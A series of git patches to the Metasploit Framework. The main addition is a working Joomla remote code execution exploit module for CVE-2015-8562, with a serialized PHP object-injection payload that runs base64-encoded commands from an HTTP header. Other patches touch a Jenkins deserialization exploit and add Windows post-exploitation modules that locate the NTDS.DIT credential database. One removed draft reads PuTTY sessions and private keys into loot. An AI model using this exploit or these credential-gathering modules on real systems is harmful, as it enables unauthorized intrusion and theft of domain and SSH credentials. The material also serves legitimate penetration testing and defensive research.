From ab3fe64b6ea4d7439da5a0723728ad3aca213b94 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 15 Dec 2015 01:18:27 -0600 Subject: [PATCH 01/39] Add method peer for jenkins_java_deserialize.rb --- modules/exploits/linux/misc/jenkins_java_deserialize.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index c7eec77106..96a79dce1d 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -54,6 +54,10 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def peer + "#{rhost}:#{rport}" + end + def exploit unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") From 84d5067abed9f44833696be30a3ac1c9e356e486 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 15 Dec 2015 17:20:49 +0100 Subject: [PATCH 02/39] add joomla RCE module --- .../multi/http/joomla_user_agent_rce.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/exploits/multi/http/joomla_user_agent_rce.rb diff --git a/modules/exploits/multi/http/joomla_user_agent_rce.rb b/modules/exploits/multi/http/joomla_user_agent_rce.rb new file mode 100644 index 0000000000..6d621faf21 --- /dev/null +++ b/modules/exploits/multi/http/joomla_user_agent_rce.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', + 'Description' => %q{ + Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. + By storing user supplied headers in the databases session table it's possible to truncate the input + by sending an UTF-8 character. The custom created payload is then executed once the session is read + from the databse + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-8562'], + ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], + ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], + ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Joomla', {}]], + 'DisclosureDate' => 'Dec 14 2015', + 'DefaultTarget' => 0) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), + OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) + ], self.class) + end + + def get_payload + pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" + middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' + pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" + middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' + post = "\xF0\x9D\x8C\x86" + return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" + end + + def exploit + print_status("Sending payload ...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.to_s, + 'headers' => { datastore['HEADER'] => get_payload } + }) + session_cookie = res.get_cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.to_s, + 'cookie' => session_cookie, + 'headers' => { + 'CMD' => Rex::Text.encode_base64(payload.encoded) + } + }) + end +end From e4309790f5d047bbc4aa4e7ba759f9ab88b5fb85 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 15 Dec 2015 17:37:45 +0100 Subject: [PATCH 03/39] renamed module because X-FORWARDED-FOR header is also working --- .../http/{joomla_user_agent_rce.rb => joomla_http_header_rce.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{joomla_user_agent_rce.rb => joomla_http_header_rce.rb} (100%) diff --git a/modules/exploits/multi/http/joomla_user_agent_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb similarity index 100% rename from modules/exploits/multi/http/joomla_user_agent_rce.rb rename to modules/exploits/multi/http/joomla_http_header_rce.rb From b9b280954bc45f659c1fad10efed982fee3ca098 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 15 Dec 2015 11:03:36 -0600 Subject: [PATCH 04/39] Add a check for joomla --- .../multi/http/joomla_http_header_rce.rb | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 6d621faf21..9881b5945e 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -49,6 +49,39 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def check + res = send_request_cgi({'uri' => target_uri.path }) + + unless res + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + unless res.headers['X-Powered-By'] + vprint_error("Unable to determine the PHP version.") + return Exploit::CheckCode::Unknown + end + + php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' + vprint_status("Found PHP version: #{php_version}") + + if php_version > '5.3' + vprint_error('This module currently does not work against this PHP version') + return Exploit::CheckCode::Safe + end + + res.get_html_meta_elements.each do |element| + if element.attributes['name'] && + /^generator$/i === element.attributes['name'] && + element.attributes['content'] && + /joomla/i === element.attributes['content'].value + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + def get_payload pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' @@ -58,7 +91,20 @@ class Metasploit3 < Msf::Exploit::Remote return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" end + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + def exploit + if check == Exploit::CheckCode::Safe + print_error('Target seems safe, so we will not continue.') + return + end + print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', From c60343022887fd9a5e2447bc6d84be0284af2cda Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 15 Dec 2015 18:26:21 +0100 Subject: [PATCH 05/39] fix version check --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9881b5945e..3e94000d64 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") - if php_version > '5.3' + if php_version >= '5.4' vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end From 4a66b487dec5baea3fbc9dd6329611d07f8b4c24 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 21:28:13 +0000 Subject: [PATCH 06/39] Based on putty enum module --- modules/post/windows/gather/ntds_location.rb | 271 +++++++++++++++++++ 1 file changed, 271 insertions(+) create mode 100644 modules/post/windows/gather/ntds_location.rb diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb new file mode 100644 index 0000000000..39cd06c36c --- /dev/null +++ b/modules/post/windows/gather/ntds_location.rb @@ -0,0 +1,271 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + NTDS_REGISTRY_KEY = "HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters" + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] + + def initialize(info = {}) + super(update_info(info, + 'Name' => "NTDS.DIT Location Module", + 'Description' => %q{ + This module will search the registry to identify the location of the NTDS.DIT file and directory. + It is useful when looking to manually retrieve this file from a domain controller. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) + end + + def get_saved_session_details(sessions) + all_sessions = [] + sessions.each do |ses| + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) + end + all_sessions + end + + def display_saved_sessions_report(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Saved Sessions", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten + ) + + info.each do |result| + row = [] + row << result['Name'] + INTERESTING_KEYS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + + def display_private_key_analysis(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Private Keys", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS + ) + + info.each do |result| + row = [] + PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + + def get_stored_host_key_details(allkeys) + # This hash will store (as the key) host:port pairs. This is basically a quick way of + # getting a unique list of host:port pairs. + all_ssh_host_keys = {} + + # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. + rx_split_hostporttype = /^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$/i + + # Go through each of the stored keys found in the registry + allkeys.each do |key| + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s + } + + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + if split_hostporttype + + # Extract the host, port and key type into the hash + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] + + # Form the key + host_port = "#{newkey['host']}:#{newkey['port']}" + + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] + end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) + end + all_ssh_host_keys + end + + def display_stored_host_keys_report(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Stored SSH host key fingerprints", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['SSH Endpoint', 'Key Type(s)'] + ) + + info.each do |key, result| + row = [] + row << key + row << result.join(', ') + results_table << row + end + + print_line + print_line results_table.to_s + stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") + print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") + end + + def grab_private_keys(sessions) + private_key_summary = [] + sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? + + # Check whether the file exists. + if file?(filename) + ppk = read_file(filename) + if ppk # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + + # Now analyse the private key + private_key = {} + private_key['Name'] = ses['Name'] + private_key['UserName'] = ses['UserName'] + private_key['HostName'] = ses['HostName'] + private_key['PublicKeyFile'] = ses['PublicKeyFile'] + private_key['Type'] = '' + private_key['Cipher'] = '' + private_key['Comment'] = '' + + # Get type of key + if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ + # This is an SSH1 header + private_key['Type'] = 'ssh1' + private_key['Comment'] = '-' + if ppk[33] == "\x00" + private_key['Cipher'] = 'none' + elsif ppk[33] == "\x03" + private_key['Cipher'] = '3DES' + else + private_key['Cipher'] = '(Unrecognised)' + end + elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) + # This is an SSH2 header + private_key['Type'] = "ssh2 (#{rx[:keytype]})" + if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) + private_key['Cipher'] = rx[:cipher] + else + private_key['Cipher'] = '(Unrecognised)' + end + + if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) + private_key['Comment'] = rx[:comment] + end + end + private_key_summary << private_key + else + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc + end + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + end + end + private_key_summary + end + + # Entry point + def run + # Look for saved sessions, break out if not. + print_status("Looking for saved PuTTY sessions") + saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") + if saved_sessions.nil? || saved_sessions.empty? + print_error('No saved sessions found') + else + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + private_key_info = grab_private_keys(all_saved_sessions) + if !private_key_info.nil? && !private_key_info.empty? + print_line + display_private_key_analysis(private_key_info) + end + end + + print_line # Just for readability + + # Now search for SSH stored keys. These could be useful because it shows hosts that the user + # has previously connected to and accepted a key from. + print_status("Looking for previously stored SSH host key fingerprints") + stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") + if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? + print_error('No stored SSH host keys found') + else + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + if all_stored_keys.nil? || all_stored_keys.empty? + print_error("No stored key fingerprints found") + else + display_stored_host_keys_report(all_stored_keys) + end + end + + print_line # Just for readability + + print_status("Looking for Pageant...") + hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") + if hwnd['return'] + print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") + else + print_error("Pageant is not running") + end + end +end From 059de62400d8fdc760dd0b89d960df37ea749274 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 21:36:39 +0000 Subject: [PATCH 07/39] Editing an existing module rather than adding a new one --- .../gather/credentials/domain_hashdump.rb | 5 + modules/post/windows/gather/ntds_location.rb | 271 ------------------ 2 files changed, 5 insertions(+), 271 deletions(-) delete mode 100644 modules/post/windows/gather/ntds_location.rb diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index a90b6d3ac1..fc1ac23b61 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -80,6 +80,11 @@ class Metasploit3 < Msf::Post @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory") end + def check + loc = ntds_location + print_status "Original location #{loc.flatten}" + end + def ntdsutil_method tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb deleted file mode 100644 index 39cd06c36c..0000000000 --- a/modules/post/windows/gather/ntds_location.rb +++ /dev/null @@ -1,271 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' - -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common - include Msf::Post::File - include Msf::Post::Windows::Registry - - NTDS_REGISTRY_KEY = "HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] - - def initialize(info = {}) - super(update_info(info, - 'Name' => "NTDS.DIT Location Module", - 'Description' => %q{ - This module will search the registry to identify the location of the NTDS.DIT file and directory. - It is useful when looking to manually retrieve this file from a domain controller. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan '] - )) - end - - def get_saved_session_details(sessions) - all_sessions = [] - sessions.each do |ses| - newses = {} - newses['Name'] = Rex::Text.uri_decode(ses) - INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s - end - all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) - end - all_sessions - end - - def display_saved_sessions_report(info) - # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( - 'Header' => "PuTTY Saved Sessions", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten - ) - - info.each do |result| - row = [] - row << result['Name'] - INTERESTING_KEYS.each do |key| - row << result[key] - end - results_table << row - end - - print_line - print_line results_table.to_s - stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") - end - - def display_private_key_analysis(info) - # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( - 'Header' => "PuTTY Private Keys", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS - ) - - info.each do |result| - row = [] - PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| - row << result[key] - end - results_table << row - end - - print_line - print_line results_table.to_s - # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") - end - - def get_stored_host_key_details(allkeys) - # This hash will store (as the key) host:port pairs. This is basically a quick way of - # getting a unique list of host:port pairs. - all_ssh_host_keys = {} - - # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. - rx_split_hostporttype = /^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$/i - - # Go through each of the stored keys found in the registry - allkeys.each do |key| - # Store the raw key and value in a hash to start off with - newkey = { - rawname: key, - rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s - } - - # Take the key and split up host, port and fingerprint type. If it matches, store the information - # in the hash for later. - split_hostporttype = rx_split_hostporttype.match(key.to_s) - if split_hostporttype - - # Extract the host, port and key type into the hash - newkey['host'] = split_hostporttype[:host] - newkey['port'] = split_hostporttype[:port] - newkey['type'] = split_hostporttype[:type] - - # Form the key - host_port = "#{newkey['host']}:#{newkey['port']}" - - # Add it to the consolidation hash. If the same IP has different key types, append to the array - all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? - all_ssh_host_keys[host_port] << newkey['type'] - end - report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) - end - all_ssh_host_keys - end - - def display_stored_host_keys_report(info) - # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( - 'Header' => "Stored SSH host key fingerprints", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => ['SSH Endpoint', 'Key Type(s)'] - ) - - info.each do |key, result| - row = [] - row << key - row << result.join(', ') - results_table << row - end - - print_line - print_line results_table.to_s - stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") - print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") - end - - def grab_private_keys(sessions) - private_key_summary = [] - sessions.each do |ses| - filename = ses['PublicKeyFile'].to_s - next if filename.empty? - - # Check whether the file exists. - if file?(filename) - ppk = read_file(filename) - if ppk # Attempt to read the contents of the file - stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") - - # Now analyse the private key - private_key = {} - private_key['Name'] = ses['Name'] - private_key['UserName'] = ses['UserName'] - private_key['HostName'] = ses['HostName'] - private_key['PublicKeyFile'] = ses['PublicKeyFile'] - private_key['Type'] = '' - private_key['Cipher'] = '' - private_key['Comment'] = '' - - # Get type of key - if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ - # This is an SSH1 header - private_key['Type'] = 'ssh1' - private_key['Comment'] = '-' - if ppk[33] == "\x00" - private_key['Cipher'] = 'none' - elsif ppk[33] == "\x03" - private_key['Cipher'] = '3DES' - else - private_key['Cipher'] = '(Unrecognised)' - end - elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) - # This is an SSH2 header - private_key['Type'] = "ssh2 (#{rx[:keytype]})" - if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) - private_key['Cipher'] = rx[:cipher] - else - private_key['Cipher'] = '(Unrecognised)' - end - - if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) - private_key['Comment'] = rx[:comment] - end - end - private_key_summary << private_key - else - print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc - end - else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") - end - end - private_key_summary - end - - # Entry point - def run - # Look for saved sessions, break out if not. - print_status("Looking for saved PuTTY sessions") - saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") - if saved_sessions.nil? || saved_sessions.empty? - print_error('No saved sessions found') - else - - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") - - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) - - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - private_key_info = grab_private_keys(all_saved_sessions) - if !private_key_info.nil? && !private_key_info.empty? - print_line - display_private_key_analysis(private_key_info) - end - end - - print_line # Just for readability - - # Now search for SSH stored keys. These could be useful because it shows hosts that the user - # has previously connected to and accepted a key from. - print_status("Looking for previously stored SSH host key fingerprints") - stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") - if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? - print_error('No stored SSH host keys found') - else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") - - # Retrieve the saved session details & print them to the screen in a report - print_status("Downloading stored key fingerprints...") - all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - if all_stored_keys.nil? || all_stored_keys.empty? - print_error("No stored key fingerprints found") - else - display_stored_host_keys_report(all_stored_keys) - end - end - - print_line # Just for readability - - print_status("Looking for Pageant...") - hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") - if hwnd['return'] - print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") - else - print_error("Pageant is not running") - end - end -end From 7fa453b7ff423469380a8baa91a7c6ed05d52bd2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 22:31:00 +0000 Subject: [PATCH 08/39] Added module --- modules/post/windows/gather/ntds_location.rb | 36 ++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 modules/post/windows/gather/ntds_location.rb diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb new file mode 100644 index 0000000000..2a5f6ca51e --- /dev/null +++ b/modules/post/windows/gather/ntds_location.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info = {}) + super(update_info(info, + 'Name' => "NTDS.DIT Location Module", + 'Description' => %q{ + This module will find the location of the NTDS.DIT file (from the registry), check that it exists + and display it on the screen. Useful if you wish to manually acquire the file using ntdsutil or vss. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) + end + + def run + working_dir = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters","DSA Working Directory").to_s + + end + +end From 281966023cf9d4303a8a5dbfdafebd6298e4a666 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 23:10:06 +0000 Subject: [PATCH 09/39] Final version --- modules/post/windows/gather/ntds_location.rb | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 2a5f6ca51e..47e0713f45 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -29,8 +29,23 @@ class Metasploit3 < Msf::Post end def run - working_dir = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters","DSA Working Directory").to_s - + # Find the NTDS.DIT location in the registry + ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s + if !ntds + print_error("Unable to find the NTDS.DIT location.") + return + end + + if file?(ntds) + f = client.fs.file.stat(ntds) + print_line("NTDS.DIT is located at: #{ntds}") + print_line(" Size: #{f.size} bytes") + print_line(" Created: #{f.ctime}") + print_line(" Modified: #{f.mtime}") + print_line(" Accessed: #{f.atime}") + else + print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") + end end end From a2b30ff16ef3913dbee5ad6eb39092a0f51c5324 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 23:11:40 +0000 Subject: [PATCH 10/39] msftidy --- modules/post/windows/gather/ntds_location.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 47e0713f45..0376f43ca0 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -30,7 +30,7 @@ class 